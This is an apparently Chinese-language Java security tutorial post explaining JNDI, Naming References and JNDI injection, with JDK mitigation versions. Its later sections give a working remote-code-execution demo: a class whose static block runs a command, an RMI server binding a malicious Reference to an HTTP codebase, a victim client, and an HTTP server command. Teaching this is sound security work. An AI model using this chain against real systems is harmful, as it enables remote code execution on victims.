【入坑JAVA安全】老公,JNDI注入是什麼呀?

0x01 前言

我們在上一章《攻擊rmi的方式》中提到了rmi的一大特性——動態類加載。而jndi注入就是利用的動態類加載完成攻擊的。在談jndi注入之前,我們先來看看關於jndi的基礎知識

0x02 jndi是個啥

jndi的全稱爲Java Naming and Directory Interface(java命名和目錄接口)SUN公司提供的一種標準的Java命名系統接口,JNDI提供統一的客戶端API,通過不同的服務供應接口(SPI)的實現,由管理者將JNDI API映射爲特定的命名服務和目錄系統,使得Java應用程序可以和這些命名服務和目錄服務之間進行交互、如圖

在這裏插入圖片描述

上面提到了命名服務與目錄服務,他們又是什麼呢?

命名服務

命名服務是一種簡單的鍵值對綁定,可以通過鍵名檢索值,RMI就是典型的命名服務

目錄服務

目錄服務是命名服務的拓展。它與命名服務的區別在於它可以通過對象屬性來檢索對象,這麼說可能不太好理解,我們舉個例子:比如你要在某個學校裏裏找某個人,那麼會通過:年級->班級->姓名這種方式來查找,年級、班級、姓名這些就是某個人的屬性,這種層級關係就很像目錄關係,所以這種存儲對象的方式就叫目錄服務。LDAP是典型的目錄服務,這個我們暫且還沒接觸到,後文會提及

其實,仔細一琢磨就會感覺其實命名服務與目錄服務的本質是一樣的,都是通過鍵來查找對象,只不過目錄服務的鍵要靈活且複雜一點。

在一開始很多人都會被jndi、rmi這些詞彙搞的暈頭轉向,而且很多文章中提到了可以用jndi調用rmi,就更容易讓人發昏了。我們只要知道jndi是對各種訪問目錄服務的邏輯進行了再封裝,也就是以前我們訪問rmi與ldap要寫的代碼差別很大,但是有了jndi這一層,我們就可以用jndi的方式來輕鬆訪問rmi或者ldap服務,這樣訪問不同的服務的代碼實現基本是一樣的。一圖勝千言:

在這裏插入圖片描述

從圖中可以看到jndi在訪問rmi時只是傳了一個鍵foo過去,然後rmi服務端返回了一個對象,訪問ldap這種目錄服務室,傳過去的字符串比較複雜,包含了多個鍵值對,這些鍵值對就是對象的屬性,LDAP將根據這些屬性來判斷到底返回哪個對象.

0x03 jndi 代碼實現

在JNDI中提供了綁定和查找的方法:

  • bind:將名稱綁定到對象中;
  • lookup:通過名字檢索執行的對象;

下面的demo將演示如何用jndi訪問rmi服務:

先實現一個接口

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHello extends Remote {
    public String sayHello(String name) throws RemoteException;
}

然後創建一個類實現上面的接口,這個類的實例一會將要被綁定到rmi註冊表中

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class IHelloImpl extends UnicastRemoteObject implements IHello {
    protected IHelloImpl() throws RemoteException {
        super();
    }

    @Override
    public String sayHello(String name) throws RemoteException {
        return "Hello " + name;
    }
}

上面的都是簡單的創建一個遠程對象,和之前rmi創建遠程對象的要求是一樣的,下面我們創建一個類實現對象的綁定,以及遠程對象的調用

import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class CallService {
    public static void main(String[] args) throws Exception{

        //配置JNDI工廠和JNDI的url和端口。如果沒有配置這些信息,會出現NoInitialContextException異常
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");

        // 創建初始化環境
        Context ctx = new InitialContext(env);

        // 創建一個rmi映射表
        Registry registry = LocateRegistry.createRegistry(1099);
        // 創建一個對象
        IHello hello = new IHelloImpl();
        // 將對象綁定到rmi註冊表
        registry.bind("hello", hello);

        //  jndi的方式獲取遠程對象
        IHello rhello = (IHello) ctx.lookup("rmi://localhost:1099/hello");
        // 調用遠程對象的方法
        System.out.println(rhello.sayHello("axin"));
    }
}

成功調用遠程對象的sayHello方法

在這裏插入圖片描述

由於上面的代碼將服務端與客戶端寫到了一起,所以看着不那麼清晰,我看到很多文章裏吧JNDI工廠初始化這一步操作劃分到了服務端,我覺得是錯誤的,配置jndi工廠與jndi的url和端口應該是客戶端的事情。

ps:可以對比一下前幾章的rmi demo與這裏的jndi demo訪問遠程對象的區別,加深理解

0x04 JNDI動態協議轉換

我們上面的demo提前配置了jndi的初始化環境,還配置了Context.PROVIDER_URL,這個屬性指定了到哪裏加載本地沒有的類,所以,上面的demo中
ctk.lookup("rmi://localhost:1099/hello")這一處代碼改爲ctk.lookup("hello")也是沒啥問題的。

那麼動態協議轉換是個什麼意思呢?其實就是說即使提前配置了Context.PROVIDER_URL屬性,當我們調用lookup()方法時,如果lookup方法的參數像demo中那樣是一個uri地址,那麼客戶端就會去lookup()方法參數指定的uri中加載遠程對象,而不是去Context.PROVIDER_URL設置的地址去加載對象(如果感興趣可以跟一下源碼,可以看到具體的實現)。

正是因爲有這個特性,才導致當lookup()方法的參數可控時,攻擊者可以通過提供一個惡意的url地址來控制受害者加載攻擊者指定的惡意類。

但是你以爲直接讓受害者去攻擊者指定的rmi註冊表加載一個類回來就能完成攻擊嗎,是不行的,因爲受害者本地沒有攻擊者提供的類的class文件,所以是調用不了方法的,所以我們需要藉助接下來要提到的東西

0x05 JNDI Naming Reference

Reference類表示對存在於命名/目錄系統以外的對象的引用。如果遠程獲取 RMI 服務上的對象爲 Reference 類或者其子類,則在客戶端獲取到遠程對象存根實例時,可以從其他服務器上加載 class 文件來進行實例化。

Java爲了將Object對象存儲在Naming或Directory服務下,提供了Naming Reference功能,對象可以通過綁定Reference存儲在Naming或Directory服務下,比如RMI、LDAP等。

在使用Reference時,我們可以直接將對象傳入構造方法中,當被調用時,對象的方法就會被觸發,創建Reference實例時幾個比較關鍵的屬性:

  • className:遠程加載時所使用的類名;
  • classFactory:加載的class中需要實例化類的名稱;
  • classFactoryLocation:遠程加載類的地址,提供classes數據的地址可以是file/ftp/http等協議;

當然,要把一個對象綁定到rmi註冊表中,這個對象需要繼承UnicastRemoteObject,但是Reference沒有繼承它,所以我們還需要封裝一下它,用 ReferenceWrapper 包裹一下Reference實例對象,這樣就可以將其綁定到rmi註冊表,並被遠程訪問到了,demo如下:

// 第一個參數是遠程加載時所使用的類名, 第二個參數是要加載的類的完整類名(這兩個參數可能有點讓人難以琢磨,往下看你就明白了),第三個參數就是遠程class文件存放的地址了
Reference refObj = new Reference("refClassName", "insClassName", "http://axin.com:6666/"); 
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

當有客戶端通過lookup(“refObj”)獲取遠程對象時,獲取的是一個Reference存根(Stub),由於是Reference的存根,所以客戶端會現在本地的classpath中去檢查是否存在類refClassName,如果不存在則去指定的url(http://axin.com:6666/refClassName.class)動態加載,並且調用insClassName的無參構造函數,所以可以在構造函數裏寫惡意代碼。當然除了在無參構造函數中寫利用代碼,還可以利用java的static代碼塊來寫惡意代碼,因爲static代碼塊的代碼在class文件被加載過後就會立即執行,且只執行一次。

瞭解更多關於static代碼塊,參考:https://www.cnblogs.com/panjun-donet/archive/2010/08/10/1796209.html

0x06 JNDI注入

jndi注入原理

就是將惡意的Reference類綁定在RMI註冊表中,其中惡意引用指向遠程惡意的class文件,當用戶在JNDI客戶端的lookup()函數參數外部可控或Reference類構造方法的classFactoryLocation參數外部可控時,會使用戶的JNDI客戶端訪問RMI註冊表中綁定的惡意Reference類,從而加載遠程服務器上的惡意class文件在客戶端本地執行,最終實現JNDI注入攻擊導致遠程代碼執行

在這裏插入圖片描述

jndi注入的利用條件
  • 客戶端的lookup()方法的參數可控
  • 服務端在使用Reference時,classFactoryLocation參數可控~

上面兩個都是在編寫程序時可能存在的脆弱點(任意一個滿足就行),除此之外,jdk版本在jndi注入中也起着至關重要的作用,而且不同的攻擊響亮對jdk的版本要求也不一致,這裏就全部列出來:

  • JDK 6u45、7u21之後:java.rmi.server.useCodebaseOnly的默認值被設置爲true。當該值爲true時,將禁用自動加載遠程類文件,僅從CLASSPATH和當前JVM的java.rmi.server.codebase指定路徑加載類文件。使用這個屬性來防止客戶端VM從其他Codebase地址上動態加載類,增加了RMI ClassLoader的安全性。

  • JDK 6u141、7u131、8u121之後:增加了com.sun.jndi.rmi.object.trustURLCodebase選項,默認爲false,禁止RMI和CORBA協議使用遠程codebase的選項,因此RMI和CORBA在以上的JDK版本上已經無法觸發該漏洞,但依然可以通過指定URI爲LDAP協議來進行JNDI注入攻擊。

  • JDK 6u211、7u201、8u191之後:增加了com.sun.jndi.ldap.object.trustURLCodebase選項,默認爲false,禁止LDAP協議使用遠程codebase的選項,把LDAP協議的攻擊途徑也給禁了。

jndi注入 demo
  • 創建一個惡意對象
import javax.lang.model.element.Name;
import javax.naming.Context;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashMap;

public class EvilObj {
    public static void exec(String cmd) throws IOException {
        String sb = "";
        BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
        String lineStr;
        while((lineStr = inBr.readLine()) != null){
            sb += lineStr+"\n";

        }
        inBr.close();
        inBr.close();
    }

    public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception{
        return null;
    }

    static {
        try{
            exec("gnome-calculator");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

可以看到這裏利用的是static代碼塊執行命令

  • 創建rmi服務端,綁定惡意的Reference到rmi註冊表
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        String url = "http://127.0.0.1:6666/";
        System.out.println("Create RMI registry on port 1099");
        Reference reference = new Reference("EvilObj", "EvilObj", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("evil", referenceWrapper);
    }

}
  • 創建一個客戶端(受害者)
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public static void main(String[] args) throws NamingException {
        Context context = new InitialContext();
        context.lookup("rmi://localhost:1099/evil");
    }
}

可以看到這裏的lookup方法的參數是指向我設定的惡意rmi地址的。

然後先編譯該項目,生成class文件,然後在class文件目錄下用python啓動一個簡單的HTTP Server:

python -m SimpleHTTPServer 6666

執行上述命令就會在6666端口、當前目錄下運行一個HTTP Server:

在這裏插入圖片描述

然後運行Server端,啓動rmi registry服務

在這裏插入圖片描述

最後運行客戶端(受害者):

在這裏插入圖片描述

成功彈出計算器。注意,我這裏用到的jdk版本爲jdk1.7.0_80,下面是rmi動態調用的一個流程

在這裏插入圖片描述

0x07 其他

放一些參考文章:

https://wulidecade.cn/2019/03/25/%E6%B5%85%E8%B0%88JNDI%E6%B3%A8%E5%85%A5%E4%B8%8Ejava%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://www.mi1k7ea.com/2019/09/15/%E6%B5%85%E6%9E%90JNDI%E6%B3%A8%E5%85%A5/

https://xz.aliyun.com/t/6633#toc-5

https://paper.seebug.org/417/

https://security.tencent.com/index.php/blog/msg/131

下一章,我們來看一下fastjson的反序列化,其中就會利用到jndi這一攻擊手法

+v 看更多

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章